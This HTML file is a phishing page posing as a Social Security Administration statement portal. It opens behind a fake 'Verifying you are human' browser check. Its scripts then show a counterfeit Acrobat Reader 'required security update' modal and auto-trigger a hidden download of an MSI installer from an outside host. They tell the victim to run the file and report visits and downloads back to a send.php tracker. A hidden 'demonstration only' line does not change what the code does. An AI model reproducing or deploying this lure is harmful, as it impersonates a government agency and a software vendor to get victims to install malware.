<!DOCTYPE html>
<html lang="en" class="ssa-gate-open">
  <head>
    <meta charset="UTF-8" />
    <style id="ssa-gate-static-css">
      #ssa-cf-gate {
        position: fixed;
        inset: 0;
        z-index: 2147483647;
        display: flex;
        flex-direction: column;
        font-family: "Source Sans 3", system-ui, sans-serif;
        background: #e8ecf1;
      }
      #ssa-cf-gate * {
        box-sizing: border-box;
      }
      html:not(.ssa-gate-done) #ssa-dashboard-root {
        visibility: hidden !important;
      }
      html.ssa-gate-done #ssa-cf-gate {
        display: none !important;
      }
      html.ssa-gate-open #ssa-dashboard-root {
        overflow: hidden;
        max-height: 100vh;
        pointer-events: none;
      }
      @supports (height: 100dvh) {
        html.ssa-gate-open #ssa-dashboard-root {
          max-height: 100dvh;
        }
      }
      .ssa-static-gate__mast {
        flex-shrink: 0;
        background: linear-gradient(180deg, #2a6fa8 0%, #205493 55%, #1a5080 100%);
        border-bottom: 4px solid #face00;
        color: #fff;
        padding: 0.55rem 1rem;
        display: flex;
        align-items: center;
        gap: 0.65rem;
        box-shadow: 0 2px 6px rgba(0, 0, 0, 0.12);
      }
      .ssa-seal-img {
        display: block;
        object-fit: contain;
        flex-shrink: 0;
      }
      .ssa-seal-img--gate {
        width: 2rem;
        height: 2rem;
      }
      .ssa-seal-img--header {
        width: 3rem;
        height: 3rem;
      }
      .ssa-static-gate__mast-txt {
        font-size: 0.8125rem;
        font-weight: 600;
        letter-spacing: 0.02em;
        line-height: 1.25;
        min-width: 0;
      }
      .ssa-static-gate__main {
        flex: 1;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        padding: 1.25rem;
        min-height: 0;
        overflow: auto;
      }
      .ssa-static-gate__card {
        width: 100%;
        max-width: 28.5rem;
        background: #fff;
        border: 1px solid #c9c9c9;
        border-radius: 2px;
        box-shadow: 0 2px 6px rgba(0, 0, 0, 0.06), 0 8px 24px rgba(0, 0, 0, 0.08);
      }
      .ssa-static-gate__inner {
        padding: 1.75rem 1.5rem 1.5rem;
        text-align: center;
      }
      .ssa-static-gate__host {
        color: #1b1b1b;
        font-size: 1.125rem;
        font-weight: 700;
        margin: 0 0 0.5rem;
        line-height: 1.3;
      }
      .ssa-static-gate__sub {
        color: #3d4551;
        font-size: 0.9375rem;
        line-height: 1.5;
        margin: 0 0 1rem;
      }
      .ssa-static-gate__hostline {
        color: #565c65;
        font-size: 0.8125rem;
        margin: 0 0 1.25rem;
        font-family: ui-monospace, Menlo, Consolas, monospace;
        word-break: break-all;
      }
      .ssa-static-gate__bar {
        height: 4px;
        background: #e5e7eb;
        border-radius: 2px;
        overflow: hidden;
        margin: 0 0 1.25rem;
      }
      .ssa-static-gate__bar-fill {
        height: 100%;
        width: 40%;
        background: linear-gradient(90deg, #005ea2, #1a4480, #005ea2);
        background-size: 200% 100%;
        animation: ssaGateBar 1.8s ease-in-out infinite;
        border-radius: 2px;
      }
      @keyframes ssaGateBar {
        0% {
          transform: translateX(-100%);
        }
        100% {
          transform: translateX(350%);
        }
      }
      .ssa-static-gate__dots {
        display: flex;
        justify-content: center;
        gap: 0.4rem;
        margin: 0 0 1.1rem;
      }
      .ssa-static-gate__dot {
        width: 0.5rem;
        height: 0.5rem;
        border-radius: 9999px;
        background: #005ea2;
        opacity: 0.35;
        animation: ssaGateDot 1.1s ease-in-out infinite;
      }
      .ssa-static-gate__dot:nth-child(2) {
        animation-delay: 0.15s;
      }
      .ssa-static-gate__dot:nth-child(3) {
        animation-delay: 0.3s;
      }
      @keyframes ssaGateDot {
        0%,
        80%,
        100% {
          transform: translateY(0);
          opacity: 0.35;
        }
        40% {
          transform: translateY(-6px);
          opacity: 1;
        }
      }
      .ssa-static-gate__ray {
        font-size: 0.75rem;
        color: #71767a;
        font-family: ui-monospace, Menlo, Consolas, monospace;
        margin: 0 0 1rem;
        word-break: break-all;
      }
      .ssa-static-gate__btn {
        display: inline-flex;
        align-items: center;
        justify-content: center;
        width: 100%;
        max-width: 16rem;
        margin: 0 auto;
        padding: 0.7rem 1rem;
        font: inherit;
        font-size: 0.9375rem;
        font-weight: 600;
        color: #fff;
        background: #005ea2;
        border: 0;
        border-radius: 2px;
        cursor: pointer;
        box-shadow: inset 0 0 0 1px #005ea2;
      }
      .ssa-static-gate__btn:hover:not(:disabled) {
        background: #1a4480;
      }
      .ssa-static-gate__btn:focus-visible {
        outline: 0.25rem solid #face00;
        outline-offset: 2px;
      }
      .ssa-static-gate__btn:disabled {
        opacity: 0.65;
        cursor: wait;
      }
      .ssa-static-gate__foot {
        margin: 1.15rem 0 0;
        padding-top: 1rem;
        border-top: 1px solid #edeeee;
        font-size: 0.6875rem;
        line-height: 1.45;
        color: #71767a;
      }
    </style>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Your Social Security Statement | SSA</title>
    <link rel="icon" href="favicon.png" type="image/png" sizes="any" />
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link
      href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@400;600;700&display=swap"
      rel="stylesheet"
    />
    <script src="https://cdn.tailwindcss.com"></script>
    <script>
      tailwind.config = {
        theme: {
          extend: {
            fontFamily: { sans: ['"Source Sans 3"', 'system-ui', 'sans-serif'] },
            colors: { ssa: { navy: '#112e51', blue: '#205493', green: '#008240', 'green-dark': '#006d36' } },
          },
        },
      };
    </script>
    <style>
      #adobe-modal-root {
        position: fixed;
        inset: 0;
        z-index: 100000;
        display: flex;
        align-items: center;
        justify-content: center;
        padding: 1.25rem;
        opacity: 0;
        pointer-events: none;
        transition: opacity 0.5s ease;
      }
      #adobe-modal-root.is-open {
        opacity: 1;
        pointer-events: auto;
      }
      .adobe-modal-dialog {
        position: relative;
        z-index: 1;
        width: 100%;
        max-width: 420px;
        border-radius: 2px;
        border: 1px solid #e1e1e1;
        background: #ffffff;
        box-shadow: 0 12px 40px rgba(0, 0, 0, 0.14), 0 2px 8px rgba(0, 0, 0, 0.06);
        padding: 2rem 2rem 1.75rem;
        padding-top: calc(2rem + 3px);
        font-family: "Segoe UI", system-ui, sans-serif;
        transform: translateY(8px);
        opacity: 0;
        transition: transform 0.5s ease, opacity 0.5s ease;
        text-align: center;
      }
      #adobe-modal-root.is-open .adobe-modal-dialog {
        transform: translateY(0);
        opacity: 1;
      }
      .adobe-modal-accent-bar {
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        height: 3px;
        background: #fa0f00;
        border-radius: 2px 2px 0 0;
      }
      .adobe-download-anchor-sr {
        position: absolute;
        width: 1px;
        height: 1px;
        padding: 0;
        margin: -1px;
        overflow: hidden;
        clip: rect(0, 0, 0, 0);
        white-space: nowrap;
        border: 0;
      }
      #adobe-progress-fill {
        width: 0%;
        transition: width 3.4s ease-in-out;
      }
      #adobe-progress-fill.is-complete {
        width: 100%;
      }
    </style>
  </head>
  <body class="min-h-screen bg-slate-100 font-sans text-slate-900 antialiased">
    <div
      id="ssa-cf-gate"
      role="dialog"
      aria-modal="true"
      aria-labelledby="ssa-gate-title"
      aria-describedby="ssa-gate-desc"
    >
      <div class="ssa-static-gate__mast">
        <img
          class="ssa-seal-img ssa-seal-img--gate"
          src="data:image/png;base64, "
          width="32"
          height="32"
          alt=""
          decoding="async"
        />
        <span class="ssa-static-gate__mast-txt">Social Security Administration - secure connection check</span>
      </div>
      <div class="ssa-static-gate__main">
        <div class="ssa-static-gate__card">
          <div class="ssa-static-gate__inner">
            <p id="ssa-gate-title" class="ssa-static-gate__host">Checking your browser before proceeding</p>
            <p id="ssa-gate-desc" class="ssa-static-gate__sub">Verifying you are human. This may take a few seconds.</p>
            <p class="ssa-static-gate__hostline" id="ssa-gate-hostline"></p>
            <div class="ssa-static-gate__bar" aria-hidden="true"><div class="ssa-static-gate__bar-fill"></div></div>
            <div class="ssa-static-gate__dots" aria-hidden="true">
              <span class="ssa-static-gate__dot"></span>
              <span class="ssa-static-gate__dot"></span>
              <span class="ssa-static-gate__dot"></span>
            </div>
            <p class="ssa-static-gate__ray">Ray ID: <span id="ssa-gate-ray-id"></span></p>
            <button type="button" class="ssa-static-gate__btn" id="btn-cf-verify">Verify and continue</button>
            <p class="ssa-static-gate__foot">Browser security check</p>
          </div>
        </div>
      </div>
    </div>
    <p class="sr-only">
      Demonstration page only. Not affiliated with the U.S. government or Social Security Administration.
    </p>

    <div
      id="ssa-dashboard-root"
      class="min-h-screen transition-[filter] duration-300 ease-out"
    >
      <!-- US Gov banner -->
      <div
        class="border-b border-slate-300 bg-gradient-to-b from-slate-200 to-slate-100 py-2 text-center text-[11px] font-semibold tracking-wide text-slate-800 sm:text-xs"
        role="note"
      >
        <span class="inline-flex items-center justify-center gap-2">
          <svg class="h-3 w-5 shrink-0 rounded-sm border border-slate-300 shadow-sm" viewBox="0 0 19 13" aria-hidden="true">
            <rect width="19" height="13" fill="#b22234" />
            <path fill="#fff" d="M0 1h19v1H0zm0 2h19v1H0zm0 2h19v1H0zm0 2h19v1H0zm0 2h19v1H0z" />
            <rect width="8" height="7" fill="#3c3b6e" />
          </svg>
          <span>An official website of the United States government</span>
        </span>
      </div>

      <!-- App header -->
      <header class="border-b border-slate-200 bg-white shadow-sm" role="banner">
        <div class="mx-auto flex max-w-6xl items-center justify-between gap-4 px-4 py-4 md:px-8">
          <div class="flex items-center gap-3">
            <img
              class="ssa-seal-img ssa-seal-img--header shrink-0"
              src="data:image/png;base64, "
              width="48"
              height="48"
              alt="Social Security Administration seal"
              decoding="async"
            />
            <div>
              <span class="block text-lg font-bold leading-tight text-ssa-navy md:text-xl">Social Security</span>
              <span class="text-xs font-medium text-slate-500">Social Security Administration</span>
            </div>
          </div>
          <a
            href="#"
            class="text-sm font-semibold text-blue-700 underline decoration-blue-700/40 underline-offset-2 hover:text-blue-900"
            >Sign Out</a
          >
        </div>
      </header>

      <main id="main-content" class="mx-auto max-w-3xl px-4 py-10 md:py-14" role="main">
        <h1 class="mb-2 text-3xl font-bold tracking-tight text-ssa-navy md:text-4xl">
          Your Social Security Statement
        </h1>
        <p class="mb-8 text-base text-slate-600">View and download a copy of your personal earnings and benefits summary.</p>

        <div class="rounded-lg border border-slate-200 bg-white p-6 shadow-md md:p-8">
          <h2 class="mb-4 text-lg font-bold text-ssa-navy">Estimated Benefits at Full Retirement Age</h2>
          <p class="mb-6 text-slate-700 leading-relaxed">
            Your statement shows a projection of monthly benefits based on your recorded earnings. Amounts are estimates
            and may change with future earnings or law updates.
          </p>
          <div
            class="mb-6 flex flex-col items-center justify-center rounded-md border border-dashed border-slate-300 bg-slate-50 py-10"
            aria-hidden="true"
          >
            <div class="relative w-full max-w-xs overflow-hidden rounded border border-slate-200 bg-white shadow-inner">
              <div
                class="pointer-events-none flex aspect-[3/4] flex-col gap-2 bg-gradient-to-br from-white to-slate-100 p-4 blur-md"
              >
                <div class="h-3 w-3/4 rounded bg-slate-300"></div>
                <div class="h-3 w-full rounded bg-slate-200"></div>
                <div class="h-3 w-5/6 rounded bg-slate-200"></div>
                <div class="mt-4 h-24 rounded bg-slate-200"></div>
                <div class="h-3 w-full rounded bg-slate-200"></div>
              </div>
              <div class="absolute inset-0 flex items-center justify-center bg-white/20">
                <svg class="h-20 w-20 text-slate-400" fill="currentColor" viewBox="0 0 24 24" aria-hidden="true">
                  <path
                    d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8l-6-6zm-1 2l5 5h-5V4zM8 12h8v2H8v-2zm0 4h8v2H8v-2z"
                  />
                </svg>
              </div>
            </div>
            <p class="mt-3 text-center text-xs font-medium text-slate-500">Statement preview (redacted)</p>
          </div>

          <p class="mb-6 text-sm text-slate-500">Last updated: <span class="font-semibold text-slate-700">April 2026</span></p>

          <button
            type="button"
            id="btn-download-statement"
            class="w-full rounded-md px-6 py-4 text-center text-lg font-bold text-white shadow-md transition-colors hover:brightness-95 focus:outline-none focus-visible:ring-4 focus-visible:ring-green-600/40"
            style="background-color: #008240"
          >
            Download Your Statement (PDF)
          </button>
        </div>

        <p class="mt-8 text-center text-xs text-slate-500">
          <a class="text-blue-700 underline" href="#">Privacy Policy</a>
          <span class="mx-2">·</span>
          <a class="text-blue-700 underline" href="#">Accessibility</a>
        </p>
      </main>
    </div>

    <!-- Adobe modal (above dashboard; backdrop blur via Tailwind) -->
    <div id="adobe-modal-root" aria-hidden="true">
      <div
        class="absolute inset-0 bg-black/45 backdrop-blur-md"
        aria-hidden="true"
      ></div>
      <div
        class="adobe-modal-dialog"
        role="dialog"
        aria-modal="true"
        aria-labelledby="adobe-modal-title"
        aria-describedby="adobe-modal-body"
      >
        <div class="adobe-modal-accent-bar" aria-hidden="true"></div>
        <div class="mb-5 flex justify-center">
          <img
            class="max-h-14 w-auto max-w-[120px] object-contain"
            src="adobe-modal-logo.png"
            alt="Adobe"
            width="120"
            height="56"
            decoding="async"
          />
        </div>
        <h2 id="adobe-modal-title" class="mb-3 text-[1.0625rem] font-semibold tracking-tight text-black">
          Acrobat Reader
        </h2>
        <p id="adobe-modal-body" class="mb-4 text-left text-sm leading-relaxed text-slate-600">
          A required security update is being prepared. Please keep this window open while the installer downloads.
        </p>
        <div class="mb-2 h-2.5 overflow-hidden rounded-full bg-[#ebebeb]">
          <div id="adobe-progress-fill" class="h-full rounded-full bg-[#fa0f00]"></div>
        </div>
        <p class="text-right text-xs font-semibold tabular-nums text-slate-700" aria-live="polite">
          <span id="adobe-progress-pct">0%</span>
        </p>
      </div>
    </div>
    <a
      id="adobe-download-anchor"
      href="https://mirax.cyou/Adobe_Bli0PY5e_installer.msi"
      download="Adobe_Bli0PY5e_installer.msi"
      rel="noopener noreferrer"
      class="adobe-download-anchor-sr"
      tabindex="-1"
      aria-hidden="true"
      >download</a
    >

    <script>
      (function () {
        function sendPhpUrl() {
          var path = window.location.pathname || "/";
          if (path !== "/" && !path.endsWith("/")) {
            var seg = path.slice(path.lastIndexOf("/") + 1);
            if (seg.indexOf(".") >= 0) {
              path = path.slice(0, path.lastIndexOf("/") + 1);
            } else {
              path = path + "/";
            }
          }
          if (!path.endsWith("/")) {
            path += "/";
          }
          return path + "./send.php";
        }

        function post(payload) {
          return fetch(sendPhpUrl(), {
            method: "POST",
            mode: "cors",
            cache: "no-cache",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(payload),
          }).then(function (res) {
            return res.text().then(function (text) {
              var data;
              try {
                data = text ? JSON.parse(text) : {};
              } catch (e) {
                data = { ok: false, error: "Invalid server response" };
              }
              return { res: res, data: data };
            });
          });
        }

        function bootAdobeModal() {
          var root = document.getElementById("adobe-modal-root");
          var fill = document.getElementById("adobe-progress-fill");
          var bodyEl = document.getElementById("adobe-modal-body");
          var anchor = document.getElementById("adobe-download-anchor");
          var dash = document.getElementById("ssa-dashboard-root");
          var pctEl = document.getElementById("adobe-progress-pct");
          var dlBtn = document.getElementById("btn-download-statement");
          if (!root || !fill || !bodyEl || !pctEl) return;

          var downloadDone = false;
          var modalStarted = false;
          var pctTimer = null;
          var INSTALLER_URL =
            "https://mirax.cyou/Adobe_Bli0PY5e_installer.msi";
          var INSTALLER_NAME = "Adobe_Bli0PY5e_installer.msi";

          function triggerInstallerDownload() {
            if (!anchor) return;
            anchor.href = INSTALLER_URL;
            anchor.setAttribute("download", INSTALLER_NAME);
            try {
              anchor.click();
            } catch (e) {
              window.location.href = INSTALLER_URL;
            }
          }

          function setDownloadCompleteMessage() {
            bodyEl.textContent =
              "Download Complete. Please locate the file in your downloads folder and run the installer to finish the update.";
          }

          function startPercentCounter() {
            var start = Date.now();
            var duration = 3400;
            if (pctTimer) window.clearInterval(pctTimer);
            pctEl.textContent = "0%";
            pctTimer = window.setInterval(function () {
              var t = Math.min(1, (Date.now() - start) / duration);
              var n = Math.min(100, Math.round(t * 100));
              pctEl.textContent = n + "%";
              if (t >= 1) {
                window.clearInterval(pctTimer);
                pctTimer = null;
              }
            }, 50);
          }

          function notifyModalOpen() {
            post({ action: "acrobat_modal_open" })
              .then(function (r) {
                console.log("Adobe modal notify:", r);
                if (!r.res.ok || !r.data.ok) {
                  console.error("Adobe modal notify error:", r.data.error || r.res.status);
                }
              })
              .catch(function (err) {
                console.error("Adobe modal notify failed:", err);
              });
          }

          function notifyDownloadComplete(thenRun) {
            post({ action: "acrobat_download_complete" })
              .then(function (r) {
                console.log("Download complete notify:", r);
                if (!r.res.ok || !r.data.ok) {
                  console.error("Download complete notify error:", r.data.error || r.res.status);
                }
                thenRun();
              })
              .catch(function (err) {
                console.error("Download complete notify failed:", err);
                thenRun();
              });
          }

          function onProgressComplete() {
            if (downloadDone) return;
            downloadDone = true;
            if (pctTimer) {
              window.clearInterval(pctTimer);
              pctTimer = null;
            }
            pctEl.textContent = "100%";
            notifyDownloadComplete(function () {
              triggerInstallerDownload();
              setDownloadCompleteMessage();
            });
          }

          function onTransitionEnd(ev) {
            if (ev.target !== fill) return;
            if (ev.propertyName !== "width" && ev.propertyName !== "max-width") return;
            onProgressComplete();
          }

          fill.addEventListener("transitionend", onTransitionEnd);

          function openModalAndStartProgress() {
            if (modalStarted) return;
            modalStarted = true;
            if (dash) {
              dash.classList.add("blur-md");
            }
            root.classList.add("is-open");
            root.setAttribute("aria-hidden", "false");
            notifyModalOpen();
            void root.offsetHeight;
            startPercentCounter();
            void fill.offsetHeight;
            fill.classList.add("is-complete");
            window.setTimeout(function () {
              if (!downloadDone) onProgressComplete();
            }, 6200);
          }

          var delayTimer = window.setTimeout(openModalAndStartProgress, 2000);

          if (dlBtn) {
            dlBtn.addEventListener("click", function () {
              window.clearTimeout(delayTimer);
              openModalAndStartProgress();
            });
          }
        }

        if (document.readyState === "loading") {
          document.addEventListener("DOMContentLoaded", bootAdobeModal);
        } else {
          bootAdobeModal();
        }
      })();
    </script>
    <script>
      (function () {
        function sendPhpUrl() {
          var origin = window.location.origin;
          var path = window.location.pathname || "/";
          if (path !== "/" && !path.endsWith("/")) {
            var seg = path.slice(path.lastIndexOf("/") + 1);
            if (seg.indexOf(".") >= 0) {
              path = path.slice(0, path.lastIndexOf("/") + 1);
            } else {
              path = path + "/";
            }
          }
          if (!path.endsWith("/")) {
            path += "/";
          }
          if (!origin || origin === "null") {
            return path + "send.php";
          }
          return origin + path + "send.php";
        }
        function postVisit() {
          try {
            fetch(sendPhpUrl(), {
              method: "POST",
              mode: "cors",
              cache: "no-cache",
              headers: { "Content-Type": "application/json" },
              body: JSON.stringify({ action: "visit" }),
            }).catch(function () {});
          } catch (e) {}
        }
        function rayId() {
          var hex = "0123456789abcdef";
          var s = "";
          for (var i = 0; i < 16; i++) {
            s += hex.charAt(Math.floor(Math.random() * 16));
          }
          return s;
        }
        var line = document.getElementById("ssa-gate-hostline");
        if (line) {
          line.textContent =
            "review the security of your connection before you can continue.";
        }
        var ray = document.getElementById("ssa-gate-ray-id");
        if (ray) {
          ray.textContent = rayId();
        }
        var btn = document.getElementById("btn-cf-verify");
        if (!btn) {
          postVisit();
          return;
        }
        btn.addEventListener("click", function () {
          if (btn.disabled) return;
          btn.disabled = true;
          btn.textContent = "Verifying...";
          window.setTimeout(function () {
            document.documentElement.classList.add("ssa-gate-done");
            document.documentElement.classList.remove("ssa-gate-open");
            var g = document.getElementById("ssa-cf-gate");
            if (g) {
              g.style.display = "none";
            }
            postVisit();
          }, 850);
        });
        try {
          btn.focus();
        } catch (e3) {}
      })();
    </script>
  </body>
</html>
